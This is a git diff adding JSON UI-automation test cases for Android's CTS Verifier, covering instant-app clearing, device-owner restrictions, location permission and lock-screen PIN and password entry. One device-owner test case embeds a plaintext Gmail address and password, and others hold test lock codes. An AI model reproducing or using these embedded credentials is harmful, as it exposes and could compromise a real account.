field\",\"actionId\":\"96853c9e-24e5-499c-a7dd-f0e76946cae2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/text1\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Instant apps\",\"actionId\":\"11361ff9-57bb-4c2c-8e8d-f86b5d3c2945\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Instant apps\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,select Sample Instant App for Testing\",\"actionId\":\"b8a7b271-d993-40cf-8094-b0085192dee4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Sample Instant App for Testing\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Clear app exists\",\"actionId\":\"3b74fb4f-a28f-478a-8a0d-b09e166b6b37\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Clear app\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4111978c-2758-493b-b79c-8f19ce5c887b\",\"displayText\":\"Clear app\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"65357d22-8db0-4077-b114-a241878edcf8\",\"displayText\":\"Open\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6a9b31a3-1bef-437d-8526-1baffbae15c0\",\"displayText\":\"Open\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/launch\",\"text\":\"Open\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":7.0,\"y1\":199.0,\"x2\":166.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Open\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":7.0,\"y1\":199.0,\"x2\":173.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Open\"},{\"uuid\":\"dc55c337-01b9-4fda-b3c4-f535cee81558\",\"displayText\":\"Clear app\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.settings:id/clear_data\",\"text\":\"Clear app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":180.0,\"y1\":199.0,\"x2\":346.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.5,\"y\":-17.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Clear app\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/instant_app_button_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":199.0,\"x2\":360.0,\"y2\":275.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":259.5,\"y\":254.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-79.5,\"y\":-17.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"dc55c337-01b9-4fda-b3c4-f535cee81558\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Clear app\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":217.0,\"y1\":243.0,\"x2\":302.0,\"y2\":266.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/clear_data\",\"actionId\":\"24d76560-5a8d-4ad3-8c54-e6974d1b0e7f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/clear_data\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, clear data button\",\"actionId\":\"866206c6-3390-49cc-82bd-a07703a21507\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"ed8df76c-77b7-43c9-857a-43af01334b0f\",\"386d0932-749d-430a-9983-f3159d3c7cb2\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"b53eeaf5-391f-4964-84fa-d086c2b938e1\",\"7ccaea57-2cd8-466d-b5fa-abbfb89831b3\",\"b9b98f7c-9a8d-4282-bd0f-1b4b81eac080\",\"2689b5ae-ede4-4457-9308-2ad2a72ff7b5\",\"96853c9e-24e5-499c-a7dd-f0e76946cae2\",\"11361ff9-57bb-4c2c-8e8d-f86b5d3c2945\",\"f89554c3-fe5e-4a96-aa56-261a920a689a\",\"b8a7b271-d993-40cf-8094-b0085192dee4\",\"3b74fb4f-a28f-478a-8a0d-b09e166b6b37\",\"24d76560-5a8d-4ad3-8c54-e6974d1b0e7f\",\"866206c6-3390-49cc-82bd-a07703a21507\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_instant_app_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsVerifierInstantApp.apk\"}}","name":"test_View/Delete Instant Apps Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.065000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/82f3ce72-96fe-4814-8b68-119a165c3cbf b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/82f3ce72-96fe-4814-8b68-119a165c3cbf
new file mode 100644
index 0000000..04d17c5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/82f3ce72-96fe-4814-8b68-119a165c3cbf
@@ -0,0 +1 @@
+{"uuid":"82f3ce72-96fe-4814-8b68-119a165c3cbf","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Device Owner Tests(Check image)\",\"actionId\":\"82f3ce72-96fe-4814-8b68-119a165c3cbf\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"b36ee844-6807-46a4-9073-3d5c83f730fd\",\"ba60c19c-dd7d-4503-86dc-57ae83dfa386\",\"33e57fb2-284d-43aa-9763-d9c0cd8d1d95\",\"841de16d-b420-4274-8775-20fff2d30def\",\"128d040e-8d30-4812-9cbb-b29efa47855e\",\"ec764a5f-6c81-496a-820b-00869272b2f4\",\"06e13f84-c348-470c-a237-ded70dacf408\",\"dbec061f-568e-4ffa-9d71-4a5494853625\",\"87a99bc2-662c-408a-891a-ebb93954ea8f\",\"2c04124a-9437-4127-9146-c1830d875dcb\",\"e0c4500d-daea-44e2-b105-6efa0f087cb1\",\"d1a32271-9bb8-464b-89ee-8eb121c9d8dd\",\"a418766b-dd6a-4c90-b127-e104546068c5\",\"35a90a2e-6709-4b9d-ad3f-07f3af03e889\",\"4f868606-0d5b-44a3-9c85-f9cb48c66dbb\",\"d3d29d0d-af3f-4124-bd80-755d201bbec0\",\"360c99e8-b022-42ab-b1c0-a27575885f2d\",\"3a510978-df33-499d-baab-b236c9960bd8\",\"048dadc7-e9b8-4451-b111-a128df8d095b\",\"c33097db-480e-433c-af22-ed22357d7c76\",\"77cd84d9-261a-488e-8fdb-5e3c36852267\",\"2208a8b1-a26d-407b-9780-6d30e4974e13\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_DeviceOwner_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsEmptyDeviceOwner.apk,\\n$uicd_permissionapp_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/CtsPermissionApp.apk,\\n$uicd_NotificationBot_apk_path=$HOME/Documents/rvc_release/android-cts-verifier/NotificationBot.apk,\\n$uicd_device_owner_WiFi_configuration_SSID_default=chtn,\\n$uicd_device_owner_WiFi_configuration_SSID=wifitest,\\n$uicd_Gmail_account=playinstallapk02@gmail.com,\\n$uicd_Gmail_account_password=@DoubleCare20,\"}}","name":"test_Device Owner Tests(Check image)","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.079000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8373f761-9983-4688-b193-59c4bc7a9bd3 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8373f761-9983-4688-b193-59c4bc7a9bd3
new file mode 100644
index 0000000..af92658
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8373f761-9983-4688-b193-59c4bc7a9bd3
@@ -0,0 +1 @@
+{"uuid":"8373f761-9983-4688-b193-59c4bc7a9bd3","details":"{\"type\":\"CompoundAction\",\"name\":\"Enter PIN number \\\"1688\\\"\",\"actionId\":\"8373f761-9983-4688-b193-59c4bc7a9bd3\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"INPUT PIN number \\\"1688\\\"\",\"actionId\":\"297a3ab0-6653-42ab-800d-0d5edf01b66f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"1688\",\"isSingleChar\":false}],\"childrenIdList\":[\"297a3ab0-6653-42ab-800d-0d5edf01b66f\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Enter PIN number \"1688\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.267000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/838a9611-4bf1-4317-8599-98f7e872efdb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/838a9611-4bf1-4317-8599-98f7e872efdb
new file mode 100644
index 0000000..a9b3d5e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/838a9611-4bf1-4317-8599-98f7e872efdb
@@ -0,0 +1 @@
+{"uuid":"838a9611-4bf1-4317-8599-98f7e872efdb","details":"{\"type\":\"CompoundAction\",\"name\":\"Check if \\\"ring\\\", \\\"vibration\\\" setting is hidden\",\"actionId\":\"838a9611-4bf1-4317-8599-98f7e872efdb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Check if \\\"ring\\\", \\\"vibration\\\" setting is hidden\",\"actionId\":\"05fa84b2-b2b9-4380-bfba-9e946095e298\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"vibration\"},{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"ring\"},{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Notifications\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"68095495-91a4-402d-a763-6e7ff7427531\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Check if \"ring\", \"vibration\" setting is hidden","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.280000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/841de16d-b420-4274-8775-20fff2d30def b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/841de16d-b420-4274-8775-20fff2d30def
new file mode 100644
index 0000000..fe6dae5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/841de16d-b420-4274-8775-20fff2d30def
@@ -0,0 +1 @@
+{"uuid":"841de16d-b420-4274-8775-20fff2d30def","details":"{\"type\":\"CompoundAction\",\"name\":\"04-Disallow configuring WiFi\",\"actionId\":\"841de16d-b420-4274-8775-20fff2d30def\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow configuring WiFi\",\"actionId\":\"870897e2-13ad-4ed9-80e4-80111605346e\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow configuring WiFi\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"50eb09f4-d8fc-40a3-a1d7-2e7e16c3ee03\",\"displayText\":\"Disallow configuring WiFi\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow configuring WiFi\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":467.75,\"x2\":351.25,\"y2\":509.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":100.5,\"y\":488.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":79.5,\"y\":0.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"50eb09f4-d8fc-40a3-a1d7-2e7e16c3ee03\",\"firstText\":\"Disallow configuring WiFi\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow configuring WiFi\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":475.0,\"x2\":196.0,\"y2\":502.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow configuring WiFi\",\"actionId\":\"426a92bd-d2ae-484c-a184-44fc682d9ca4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow configuring WiFi\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"724b3a84-526c-4578-b738-b30e5023092d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"870897e2-13ad-4ed9-80e4-80111605346e\",\"426a92bd-d2ae-484c-a184-44fc682d9ca4\",\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"724b3a84-526c-4578-b738-b30e5023092d\",\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"04-Disallow configuring WiFi","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.090000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/852558c2-18ad-4540-bab9-6f2da206f8cb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/852558c2-18ad-4540-bab9-6f2da206f8cb
new file mode 100644
index 0000000..6f4af61
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/852558c2-18ad-4540-bab9-6f2da206f8cb
@@ -0,0 +1 @@
+{"uuid":"852558c2-18ad-4540-bab9-6f2da206f8cb","details":"{\"type\":\"CompoundAction\",\"name\":\"Open location permission of CTS-V\",\"actionId\":\"852558c2-18ad-4540-bab9-6f2da206f8cb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/settings_button\",\"actionId\":\"e0dc2558-d47e-4f27-b73c-47f39d253566\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/settings_button\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, App access to location\",\"actionId\":\"b930dcb3-3e11-40e9-aea2-ea4099991b1a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"App access to location\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to CTS Verifier\",\"actionId\":\"def07695-585e-45a4-a8ac-23c8b08f8079\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CTS Verifier\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b852b67a-cb6a-4ac0-88c5-964b46865672\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"5dfef27c-c8b6-4c62-b7ac-b66e6e21573f\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e8830a46-0ed3-4bc4-917b-e934c2e89f02\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":582.6666666666666,\"x2\":44.0,\"y2\":612.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.permissioncontroller:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":579.0,\"x2\":66.0,\"y2\":615.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"\"},{\"uuid\":\"21680a95-ed64-42c6-84cc-d53b5084be1d\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"981347bf-c020-4313-b9a5-9be0f675038e\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"CTS Verifier\",\"contentDesc\":\"CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":587.6666666666666,\"x2\":145.0,\"y2\":607.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.5,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"CTS Verifier\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":573.0,\"x2\":345.3333333333333,\"y2\":622.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"CTS Verifier\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":573.0,\"x2\":360.0,\"y2\":622.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":110.0,\"y\":596.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":70.0,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"981347bf-c020-4313-b9a5-9be0f675038e\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CTS Verifier\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":62.0,\"y1\":584.0,\"x2\":158.0,\"y2\":609.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, CTS Verifier\",\"actionId\":\"aee8c031-1c59-4448-a0d1-4af6b3c3c359\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CTS Verifier\"}],\"childrenIdList\":[\"e0dc2558-d47e-4f27-b73c-47f39d253566\",\"b930dcb3-3e11-40e9-aea2-ea4099991b1a\",\"def07695-585e-45a4-a8ac-23c8b08f8079\",\"aee8c031-1c59-4448-a0d1-4af6b3c3c359\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Open location permission of CTS-V","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.004000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8539b68d-cf4f-4158-aeb6-2867807e7574 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8539b68d-cf4f-4158-aeb6-2867807e7574
new file mode 100644
index 0000000..bd30055
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/8539b68d-cf4f-4158-aeb6-2867807e7574
@@ -0,0 +1 @@
+{"uuid":"8539b68d-cf4f-4158-aeb6-2867807e7574","details":"{\"type\":\"CompoundAction\",\"name\":\"Confirm Password lock \\\"a14725836\\\"\",\"actionId\":\"8539b68d-cf4f-4158-aeb6-2867807e7574\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if Re-enter your password screen appear\",\"actionId\":\"9c3dae13-f0b5-4f59-9fa7-87f94fe2bd18\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Re-enter your password\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0298937d-b8e2-434d-8543-326efaf67ea4\",\"displayText\":\"Re-enter your password\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"dcfcc7e7-f251-48b0-b9be-51d1b08f7339\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/sud_layout_icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":166.0,\"y1\":97.33333333333333,\"x2\":194.0,\"y2\":125.33333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"54331f24-87ad-401e-b79a-fb958345fce9\",\"displayText\":\"Re-enter your password\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/suc_layout_title\",\"text\":\"Re-enter your password\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":139.33333333333334,\"x2\":339.0,\"y2\":167.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.5,\"y\":3.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Re-enter your password\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/sud_layout_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":48.333333333333336,\"x2\":360.0,\"y2\":169.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":176.5,\"y\":150.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":3.5,\"y\":-41.66666666666666,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"54331f24-87ad-401e-b79a-fb958345fce9\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Re-enter your password\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":55.0,\"y1\":130.0,\"x2\":298.0,\"y2\":171.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Enter 